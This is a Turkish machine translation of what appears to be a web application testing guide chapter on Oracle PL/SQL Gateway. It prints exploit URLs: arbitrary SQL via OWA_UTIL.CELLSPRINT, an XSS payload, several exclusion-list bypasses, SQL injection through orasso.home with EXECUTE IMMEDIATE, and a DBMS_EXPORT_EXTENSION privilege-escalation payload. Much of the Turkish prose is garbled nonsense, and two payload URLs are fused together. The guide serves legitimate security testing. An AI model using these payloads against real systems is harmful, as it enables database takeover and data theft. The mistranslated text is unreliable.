Testing for Oracle (Oracle için Test)

Summary (Özet)

Web tabanlı PL / SQL uygulamaları, web isteklerini veritabanı sorgularına çeviren bileşen olan PL / SQL Gateway tarafından etkinleştirilir. Oracle, erken web dinleyicisi ürününden Apache'ye kadar
 bir dizi yazılım uygulaması geliştirdi.
`mod_plsql` XML Veritabanı (XDB) web sunucusuna modül. Hepsinin kendi tuhaflıkları ve sorunları vardır, her biri bu bölümde iyice araştırılacaktır. PL / SQL Gateway'i kullanan ürünler arasında Oracle HTTP Server, eBusiness Suite, Portal, HTMLDB, WebDB ve Oracle Application Server bulunur ancak bunlarla sınırlı değildir.

(Nasıl Test Edilir)

(PL / SQL Gateway Nasıl Çalışır)

Esasen PL / SQL Gateway, kullanıcının web isteğini alan bir proxy sunucusu olarak hareket eder ve gerçekleştirildiği veritabanı sunucusuna iletir.

1. Web sunucusu bir web istemcisinden bir talep kabul eder ve PL / SQL Gateway tarafından işlenmesi gerekip gerekmediğini belirler.
2. PL / SQL Ağ Geçidi, istenen paket adı, prosedür ve değişkenleri çıkararak talebi işler.
3. Talep edilen paket ve prosedür, anonim PL / SQL'nin bir bloğuna sarılır ve veritabanı sunucusuna gönderilir.
4. Veritabanı sunucusu prosedürü yürütür ve sonuçları HTML olarak Ağ Geçidi'ne geri gönderir.
5. Ağ geçidi, web sunucusu aracılığıyla yanıtı istemciye geri gönderir.

Bu noktayı anlamak önemlidir - PL / SQL kodu web sunucusunda değil, veritabanı sunucusunda bulunur. Bu, PL / SQL Ağ geçidindeki herhangi bir zayıflığın veya PL

/ SQL uygulamasındaki herhangi bir zayıflığın, istismar edildiğinde, bir saldırganın veritabanı sunucusuna doğrudan
erişim sağladığı anlamına gelir; hiçbir güvenlik duvarı bunu engellemez.

PL / SQL web uygulamaları için URL'ler normalde kolayca tanınabilir ve genellikle aşağıdakilerle başlar (xyz herhangi bir dize olabilir ve daha sonra hakkında daha fazla bilgi edineceğiniz bir Veritabanı Erişim Tanımlayıcısını temsil eder):

- `http://www.example.com/pls/xyz`
- `http://www.example.com/xyz/owa`
- `http://www.example.com/xyz/plsql`

Bu örneklerin ikincisi ve üçüncüsü, PL / SQL Gateway'in eski sürümlerinden URL'leri temsil ederken, ilki Apache'de çalışan daha yeni sürümlerden geliyor. plsql.conf Apache yapılandırma dosyasında /pls, işlemci olarak PLS modülü ile bir Konum olarak belirtilen varsayılandır. Ancak konumun /pls olması gerekmez. Bir URL'de bir dosya uzantısının olmaması, Oracle PL / SQL Gateway'in varlığını gösterebilir. Aşağıdaki URL'yi göz önünde bulundurun:

`http://www.server.com/aaa/bbb/xxxxx.yyyyy`

Eğer `xxxxx.yyyyy` Çizgileri boyunca bir şeyle değiştirildi `ebank.home`, `store.welcome`, `auth.login`, ya da `books.search` O zaman PL / SQL Ağ Geçidi'nin kullanılma ihtimali oldukça güçlü. İstenilen paket ve prosedürden önce, sahip olan kullanıcının - yani skema - bu durumda kullanıcının adı ile çıkması da mümkündür.

`webuser`: : `http://www.server.com/pls/xyz/webuser.pkg.proc`

Bu URL'de xyz, Veritabanı Erişim Tanımlayıcısı veya BABAD'dır. Bir DAD, veri tabanı sunucusuyla ilgili bilgileri PL / SQL Gateway'in bağlanabilmesi için belirtir. TNS connect string, kullanıcı kimliği ve
şifre, kimlik doğrulama yöntemleri vb. Gibi bilgiler içerir. Bu DAD'lar içinde belirtilmiştir
`dads.conf` Apache yapılandırma dosyası daha yeni sürümlerde veya `wdbsvr.app` Eski versiyonlarda dosya. Bazı varsayılan DAD'lar aşağıdakileri içerir:

```
SIMPLEDAD
HTMLDB
ORASSO
SSODAD
```

```
PORTAL
PORTAL2
PORTAL30
PORTAL30_SSO
TEST
DAD
APP
ONLINE
DB
OWA
```

(PL / SQL Ağ Geçidi'nin Koşup Olmadığını Belirlemek)

Bir sunucuya karşı bir değerlendirme yaparken, gerçekte hangi teknolojiyle uğraştığınızı bilmek önce önemlidir. Örneğin, bir kara kutu değerlendirme senaryosunda zaten bilmiyorsanız, yapmanız gereken ilk şey bunu çözmektir. Web tabanlı bir PL / SQL uygulamasını tanımak oldukça kolaydır. İlk olarak, URL'nin formatı ve yukarıda tartışılan neye benzediği vardır. Bunun ötesinde, PL / SQL Kapısı'nın varlığını test etmek için yapılabilecek bir dizi basit test vardır.

(Sunucu Müdahale Başlıkları)

Web sunucusunun yanıt başlıkları, sunucunun PL / SQL Gateway'i çalıştırıp çalıştırmadığı konusunda iyi bir göstergedir. Aşağıdaki tablo tipik sunucu yanıt başlıklarından bazılarını listeler:

```
Oracle-Application-Server-10g
Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server
Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server
Oracle-Application-Server-10g OracleAS-Web-Cache-10g/9.0.4.2.0 (N)
Oracle-Application-Server-10g/9.0.4.0.0
Oracle HTTP Server Powered by Apache
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3a
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3d
Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_plsql/3.0.9.8.5e
Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_plsql/3.0.9.8.5e
Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_plsql/3.0.9.8.3c
```

```
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/3.0.9.8.3b
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/9.0.2.0.0
Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition
Oracle_Web_Listener/4.0.8.2EnterpriseEdition
Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition
Oracle_Web_listener3.0.2.0.0/2.14FC1
Oracle9iAS/9.0.2 Oracle HTTP Server
Oracle9iAS/9.0.3.1 Oracle HTTP Server
```

(NULL Testi)

PL/SQL IÇINDE, `null` Tamamen kabul edilebilir bir ifadedir:

```
SQL> BEGIN
 NULL;
 END;
 /
PL/SQL procedure successfully completed.
```

Bunu, sunucunun PL / SQL Ağ Geçidi'ni çalıştırıp çalıştırmadığını test etmek için kullanabiliriz. Sadece alın `DAD` ve ek `NULL`, sonra ek `NOSUCHPROC`: :

- `http://www.example.com/pls/dad/null`
- `http://www.example.com/pls/dad/nosuchproc`

Sunucu bir ile yanıt verirse `200 OK` İlk ve bir için cevap `404 Not Found` İkincisi için sunucunun PL / SQL Ağ Geçidi'ni çalıştırdığını gösterir.

(Bilinen Paket Erişim)

PL / SQL Ağ Geçidi'nin eski sürümlerinde, OWA ve HTP paketleri gibi PL / SQL Web Araç Seti'ni oluşturan paketlere doğrudan erişmek mümkündür. Bu paketlerden biri `OWA_UTIL` Daha sonra konuşacağımız paket. Bu paket, SIGNATURE adı verilen bir prosedür içerir ve HTML'de bir PL / SQL imzası çıktı. Böylece talep etmek

`http://www.example.com/pls/dad/owa_util.signature`

Web sayfasında aşağıdaki çıktıyı iade eder

`"This page was produced by the PL/SQL Web Toolkit on date"`

ya da

`"This page was produced by the PL/SQL Cartridge on date"`

Bu yanıtı almazsanız, ancak 403 Yasaklama yanıtı alırsanız, PL / SQL Ağ Geçidi'nin çalıştığından emin olabilirsiniz. Bu, daha sonraki sürümlerde veya yamalı sistemlerde almanız gereken yanıttır.

(Veritabanı'ndaki Keyfi PL / SQL Paketlerine Erişmek)

Veritabanı sunucusunda varsayılan olarak yüklenen PL/SQL paketlerindeki güvenlik açıklarından yararlanmak mümkündür. Bunu nasıl yapacağınız PL / SQL Gateway'in versiyonuna bağlıdır. PL / SQL Gateway'in önceki sürümlerinde, bir saldırganın veritabanı sunucusunda keyfi bir PL / SQL paketine erişmesini engelleyecek hiçbir şey yoktu. Bizden bahsettik `OWA_UTIL` Daha önce paket. Bu, keyfi SQL sorgularını çalıştırmak için kullanılabilir:

`http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS`

Cross Site Scripting saldırıları HTP paketi üzerinden başlatılabilir:

`http://www.example.com/pls/dad/HTP.PRINT?CBUF=<script>alert('XSS')</script>`

Açıkçası, bu tehlikelidir, bu nedenle Oracle, bu tür tehlikeli prosedürlere doğrudan erişimi önlemek için bir PLSQL Dışlama listesi sundu. Yasaklanan öğeler, başlayan herhangi bir talebi içerir `SYS.*`, herhangi bir taleple başlayan `DBMS_*`, herhangi bir taleple ilgili `HTP.*` ya da `OWA*`. . Ancak dışlama listesini atlamak mümkündür. Dahası, dışlama listesi paketlerdeki erişimin engellenmemesi `CTXSYS` ve `MDSYS` Şikeler veya diğerleri, bu nedenle bu paketlerdeki kusurları istismar etmek mümkündür:

`http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL`

Bu, veritabanı sunucusu hala bu kusura karşı savunmasızsa (CVE-2006-0265) 200 OK yanıtı ile boş bir HTML sayfasını döndürecektir (CVE-2006-0265)

(Kusurlar İçin PL / SQL Ağ Geçidi Test Edilmesi)

Yıllar boyunca, Oracle PL / SQL Gateway, yönetici sayfalarına (CVE-2002-0561), tampon taşmaları (CVE-2002-0559), dizin traversal hatalarına ve saldırganların Dışlama Listesini atlamasına ve keyfi PL / SQL paketlerine erişmesine ve veritabanı sunucusunda keyfi PL / SQL paketlerine erişmesine ve yürütmesine izin veren güvenlik açıkları dahil olmak üzere bir dizi kusurdan muzdarip olmuştur.

(PL/SQL Dışlama Listesini Atlamak)

Oracle'ın, saldırganların dışlama listesini atlamasına izin veren kusurları yüz yüze belirlemeye çalışması inanılmaz. Oracle'ın ürettiği her yama yeni bir bypass tekniğine kurban gitti. Bu üzücü hikayenin tarihi

(Dışlama Listesini Atlamak - Yöntem 1)

Oracle, saldırganların keyfi PL / SQL paketlerine erişmesini önlemek için PL / SQL Dışlama Listesi'ni ilk kez tanıttığında, ekşi bir yeni hat karakteri veya alan veya sekmesi ile şema / paketin adının yayınlanmasından önce önemsiz bir şekilde atlanabilir:

```
http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC
http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC
http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC
```

(Dışlama Listesini Atlamak - Yöntem 2)

Gateway'in daha sonraki sürümleri, saldırganların bir etiketle şema / paketin adının ardından dışlama listesini atlamasına izin verdi. PL / SQL'de bir etiket, GOTO ifadesini kullanmaya atılabilen ve aşağıdaki formu alan bir kod satırına işaret eder: `<<NAME>>`

- `http://www.example.com/pls/dad/<<LBL>>SYS.PACKAGE.PROC`

(Dışlama Listesini Atlamak - Yöntem 3)

Sadece şema / paketin adını çifte tekliflere yerleştirmek, bir saldırganın dışlama listesini atlamasına izin verebilir. Bunun Oracle Application Server 10g'da çalışmayacağını unutmayın, çünkü kullanıcının isteğini veritabanı sunucusuna göndermeden önce daha düşük kasaya dönüştürür ve bir alıntı kelimenin tam anlamıyla vakaya duyarlıdır - bu nedenle `SYS` ve `sys` Aynı değildir ve ikincisi için talepler 404 Un Bulunmamakla sonuçlanacaktır. Daha önceki sürümlerde aşağıdakiler dışlama listesini atlayabilir:

`http://www.example.com/pls/dad/"SYS".PACKAGE.PROC`

(Dışlama Listesini Atlamak - Yöntem 4)

Web sunucusunda ve veritabanı sunucusunda kullanılan karaktere bağlı olarak, bazı karakterler tercüme edilir. Bu nedenle, kullanımdaki karakter ayarlarına bağlı

olarak, `ÿ` karakter (`0xFF`) bir a'ya dönüştürülebilir `Y` Veritaban sunucusunda. Genellikle üst bir kasaya dönüştürülen başka bir karakter `Y` Macron karakteridir - `0xAF`. . Bu, bir saldırganın dışlama listesini atlamasına izin verebilir:

`http://www.example.com/pls/dad/S%FFS.PACKAGE.PROChttp://www.example.com/pls/dad/S%AFS.PACKAGE.PROC`

(Dışlama Listesini Atlamak - Yöntem 5)

PL / SQL Gateway'in bazı sürümleri, dışlama listesinin bir geri tepme ile atlanmasına izin verir - `0x5C` : : `http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC`

(Dışlama Listesini Atlamak - Yöntem 6)

Bu, dışlama listesini atlamanın en karmaşık yöntemidir ve en son yamalanmış yöntemdir. Eğer aşağıdakileri talep edersek

`http://www.example.com/pls/dad/foo.bar?xyz=123`

Uygulama sunucusu veritabanı sunucusunda aşağıdakileri yürütecektir:

```
declare
 rc__ number;
 start_time__ binary_integer;
 simple_list__ owa_util.vc_arr;
 complex_list__ owa_util.vc_arr;
begin
 start_time__ := dbms_utility.get_time;
 owa.init_cgi_env(:n__,:nm__,:v__);
 htp.HTBUF_LEN := 255;
 null;
 null;
 simple_list__(1) := 'sys.%';
 simple_list__(2) := 'dbms\_%';
 simple_list__(3) := 'utl\_%';
 simple_list__(4) := 'owa\_%';
 simple_list__(5) := 'owa.%';
 simple_list__(6) := 'htp.%';
 simple_list__(7) := 'htf.%';
 if ((owa_match.match_pattern('foo.bar', simple_list__, complex_list__, true)))
 then
```

```
 rc__ := 2;
else
 null;
 orasso.wpg_session.init();
 foo.bar(XYZ⇒:XYZ);
 if (wpg_docload.is_file_download) then
  rc__ := 1;
  wpg_docload.get_download_file(:doc_info);
  orasso.wpg_session.deinit();
  null;
  null;
  commit;
 else
  rc__ := 0;
  orasso.wpg_session.deinit();
  null;
  null;
  commit;
  owa.get_page(:data__,:ndata__);
 end if;
end if;
:rc__ := rc__;
:db_proc_time__ := dbms_utility.get_time—start_time__;
end;
```

19 ve 24 numaralı telefonları bildirim. 19. satırda, kullanıcının isteği, bilinen “kötü” dizelerin, yani dışlama listesinin bir listesine karşı kontrol edilir. Talep edilen paket ve prosedür kötü teller
içermiyorsa, prosedür 24 numaralı satırda yürütülür. XYZ parametresi bir bağlayıcı değişken olarak geçirilir.

Eğer aşağıdakileri talep edersek:

`http://server.example.com/pls/dad/INJECT'POINT`

Aşağıdaki PL/SQL idam edilmiştir:

```
..
simple_list__(7) := 'htf.%';
if ((owa_match.match_pattern('inject'point', simple_list__ complex_list__, true)
)) then
 rc__ := 2;
else
 null;
 orasso.wpg_session.init();
 inject'point;
..
```

Bu, hata kaydında bir hata oluşturur: “PLS-00103: Aşağıdakilerden birini beklerken ‘POINT’ sembolüyle karşılaştı. Burada sahip olduğumuz şey, keyfi SQL enjekte etmenin bir yoludur. Bu, dışlama listesini atlamak için kullanılabilir. İlk olarak, saldırganın hiçbir parametre almayan ve dışlama listesinde hiçbir şeyle eşleşmeyen bir PL / SQL prosedürü bulması gerekir. Bu kriterlere uyan çok sayıda varsayılan paket vardır, örneğin:

```
JAVA_AUTONOMOUS_TRANSACTION.PUSH
XMLGEN.USELOWERCASETAGNAMES
PORTAL.WWV_HTP.CENTERCLOSE
ORASSO.HOME
WWC_VERSION.GET_HTTP_DATABASE_INFO
```

Bir saldırgan, hedef sistemde gerçekten mevcut olan bu işlevlerden birini seçmelidir (yani, bir geri döndürür `200 OK` İstendiği zaman) Test olarak bir saldırgan talep edebilir

`http://server.example.com/pls/dad/orasso.home?FOO=BAR`

Sunucu bir geri göndermeli `404 File Not Found` yanıt çünkü orasso.home prosedürü parametre gerektirmez ve biri tedarik edilmiştir. Ancak, 404 iade edilmeden önce, aşağıdaki PL / SQL
gerçekleştirilir:

```
..
..
if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true)
)) then
rc__ := 2;
else
null;
orasso.wpg_session.init();
orasso.home(FOO⇒:FOO);
..
..
```

Saldırganın sorgu dizisinde FOO'nun varlığına dikkat edin. Saldırganlar bunu keyfi SQL çalıştırmak için kötüye kullanabilirler. Önce parantezleri kapatmaları gerekiyor:

`http://server.example.com/pls/dad/orasso.home?);--=BAR`

Bu, aşağıdaki PL / SQL'nin yürütülmesiyle sonuçlanır:

```
..
orasso.home();--⇒:);--);
..
```

İkili eksiden sonra her şeyin olduğunu unutmayın (`--`) yorum olarak kabul edilir. Bu istek dahili bir sunucu hatasına neden olacaktır, çünkü bağlayıcı değişkenlerden biri artık kullanılmaz, bu nedenle saldırganın geri eklemesi gerekir. Olduğu gibi, keyfi PL / SQL çalıştırmanın anahtarı olan bu bağlayıcı değişkendir. Şu an için, sadece kullanabilirler. `HTP.PRINT` BAR yazdırmak ve gerekli bağlayıcı değişkeni :1 olarak eklemek için:

`http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR`

Bu bir geri dönmeli `200` HTML'de "BAR" kelimesi ile. Burada olan şey, eşit işaretten sonra her şeyin - bu durumda BAR - bağlanma değişkenine sokulan veriler olmasıdır. Aynı tekniği kullanarak da erişim sağlamak mümkündür `owa_util.cellsprint` Yine:

`http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS`

DML ve DDL ifadeleri de dahil olmak üzere keyfi SQL'i yürütmek için saldırgan hemen bir infaz uygular:

`http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual`

Çıkışın görüntülenmeyeceğini unutmayın. Bu, SYS'nin sahip olduğu herhangi bir PL / SQL enjeksiyon hatasını istismar etmek için kullanılabilir, böylece bir saldırganın arka uç veritabanı sunucusunun tam kontrolünü ele geçirmesini sağlar. Örneğin, aşağıdaki URL, SQL enjeksiyon kusurlarından yararlanır. `DBMS_EXPORT_EXTENSION`

```
http://www.example.com/pls/dad/orasso.home?);
execute%20immediate%20:1;--=DECLARE%20BUF%20VARCHAR2(2000);%
20BEGIN%20
BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDEX
_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_LINE(:p1); EXECUTE%20IMM
EDIATE%20''CREATE%20OR%20REPLACE%20
PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL'';
END;--','SYS',1,'VER',0);END;
```

(Özel PL / SQL Web Uygulamalarının Değerlendirilmesi)

Kara kutu güvenlik değerlendirmeleri sırasında, özel PL / SQL uygulamasının kodu mevcut değildir, ancak yine de güvenlik açıkları için değerlendirilmesi gerekir.

(SQL Enjeksiyonu için test)

Her giriş parametresi SQL enjeksiyon kusurları için test edilmelidir. Bunları bulmak ve onaylamak kolaydır. Onları bulmak, parametreye tek bir alıntı yerleştirmek ve hata yanıtlarını kontrol etmek kadar kolaydır (404 Bulunmama hatalarını içerir). SQL enjeksiyonunun varlığını doğrulamak, bulaşma operatörü kullanılarak gerçekleştirilebilir.Örneğin, kullanıcıların belirli bir yazar tarafından kitap aramasına izin veren bir kitapçı PL / SQL web uygulaması olduğunu varsayalım:

`http://www.example.com/pls/bookstore/books.search?author=DICKENS`

Bu istek Charles Dickens'ın kitaplarını iade ederse, ama

`http://www.example.com/pls/bookstore/books.search?author=DICK'ENS`

Bir hata veya bir hata döndürür `404` O zaman bir SQL enjeksiyon kusuru olabilir. Bu, bu, birlikteme operatörünün kullanılmasıyla doğrulanabilir:

```
http://www.example.com/pls/bookstore/books.search?author=DICK'||'ENS
```

Bu istek Charles Dickens'ın kitaplarını iade ederse, SQL enjeksiyonu güvenlik açığının varlığını doğruladınız.

Tools (Araçlar)

- Orascan (Oracle Web Uygulama VA tarayıcı), NGS SQuirrel (ORSER RDBMS VA Tarayıcı)

Referance (Referanslar)

WhitePapers (Beyaz kağıtlar)

- Hackproofing Oracle Application Server (Oracle 9'u Güvence Altına Almak İçin Bir Kılavuz)
- Oracle PL / SQL Enjeksiyon